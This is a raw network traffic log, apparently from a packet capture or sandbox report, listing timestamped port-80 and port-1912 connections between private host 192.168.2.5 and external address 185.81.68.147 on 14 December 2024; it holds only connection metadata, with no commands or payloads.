Dec 14, 2024 14:56:35.027618885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.028762102 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.028821945 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.028852940 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.029876947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.029932976 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.029994011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.031054974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.031177044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.031418085 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.032260895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.032351017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.032390118 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.033478975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.033538103 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.033610106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.034631014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.034682035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.034687996 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.035933971 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.035967112 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.036037922 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.036967993 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.037039995 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.037113905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.038163900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.038225889 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.038292885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.039347887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.039407969 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.039432049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.040548086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.040657997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.040718079 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.041001081 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.041708946 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.041768074 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.041807890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.043077946 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.043129921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.043155909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.044059992 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.044118881 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.044177055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.045281887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.045346975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.045382023 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.046463013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.046515942 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.046566010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.047605038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.047661066 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.047730923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.048785925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.048845053 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.048943043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.050031900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.050088882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.050095081 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.051158905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.051213980 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.051284075 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.052340031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.052390099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.052395105 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.053527117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.053581953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.053638935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.054714918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.054771900 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.054790020 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.055907011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.055967093 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.056037903 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.057249069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.057297945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.057305098 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.058252096 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.058311939 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.058382034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.059452057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.059506893 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.059560061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.060662985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.060734034 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.060795069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.061799049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.061853886 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.061924934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.062980890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.063049078 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.063107967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.064220905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.064275026 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.064335108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.065387011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.065440893 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.065512896 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.066616058 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.066672087 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.066708088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.067727089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.067786932 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.067850113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.068892956 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.068949938 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.069020987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.070090055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.070142031 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.070194006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.071269035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.071351051 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.071398020 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.072455883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.072513103 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.072576046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.073657990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.073721886 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.073779106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.074820042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.074943066 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.074989080 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.075994968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.076128960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.076201916 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.077186108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.077239037 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.077266932 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.078453064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.078522921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.078584909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.079580069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.079667091 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.080349922 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.080832958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.080868006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.080908060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.081974030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.082041979 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.164522886 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.230771065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.230819941 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.230998039 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.231096029 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.231179953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.231245041 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.232294083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.232364893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.232423067 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.233473063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.233575106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.233632088 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.234648943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.234766960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.234827042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.235851049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.235987902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.236046076 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.237010956 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.237143040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.237202883 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.238188028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.238339901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.238398075 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.239402056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.239633083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.239687920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.240573883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.240714073 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.240767956 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.241779089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.241885900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.241942883 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.242952108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.243113041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.243170977 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.244112968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.244239092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.244292974 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.245273113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.245397091 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.245451927 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.246467113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.246615887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.246671915 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.247662067 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.247792959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.247849941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.248848915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.248965979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.249023914 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.250086069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.250200987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.250252962 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.251250029 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.251562119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.251616955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.252469063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.252552032 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.252605915 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.253566027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.253700972 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.253752947 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.254920006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.255055904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.255110025 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.256056070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.256174088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.256223917 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.257787943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.257941961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.257993937 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.258769989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.258913040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.258975983 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.259771109 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.259881973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.259939909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.260657072 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.260788918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.260847092 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.261857986 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.262012959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.262068033 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.263030052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.263201952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.263267040 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.264281034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.264391899 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.264448881 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.265538931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.265633106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.265685081 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.266587019 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.266720057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.266774893 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.267921925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.268115997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.268178940 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.269332886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.269423008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.269479990 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.270359039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.270564079 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.270623922 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.271352053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.271445036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.271497965 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.272521019 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.272630930 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.272705078 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.273689985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.273919106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.273971081 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.274943113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.275060892 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.275113106 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.276053905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.276184082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.276236057 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.277215958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.277386904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.277440071 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.279011011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.279233932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.279292107 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.280297041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.280407906 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.280464888 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.281332016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.281573057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.281635046 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.282491922 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.282644987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.282707930 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.283601046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.283714056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.283766985 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.284858942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.285003901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.285058022 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.285917044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.286041021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.286099911 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.286899090 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.286950111 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.287004948 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.287875891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.288011074 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.288067102 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.289144039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.289206028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.289258003 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.290283918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.290419102 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.290477991 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.291440010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.291522980 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.291583061 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.292618036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.423902035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.424087048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.424092054 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.424225092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.424261093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.424460888 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.425328970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.425420046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.425504923 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.426471949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.426577091 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.426584959 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.427620888 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.427676916 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.427751064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.428869009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.428921938 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.428996086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.430016994 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.430073023 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.430140018 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.431184053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.431241035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.431301117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.432370901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.432425022 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.432498932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.433546066 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.433597088 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.433682919 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.434751034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.434804916 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.434864998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.435986042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.436038971 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.436119080 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.437167883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.437218904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:35.437221050 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:35.438280106 CET	80	49888	185.81.68.147	192.168.2.5
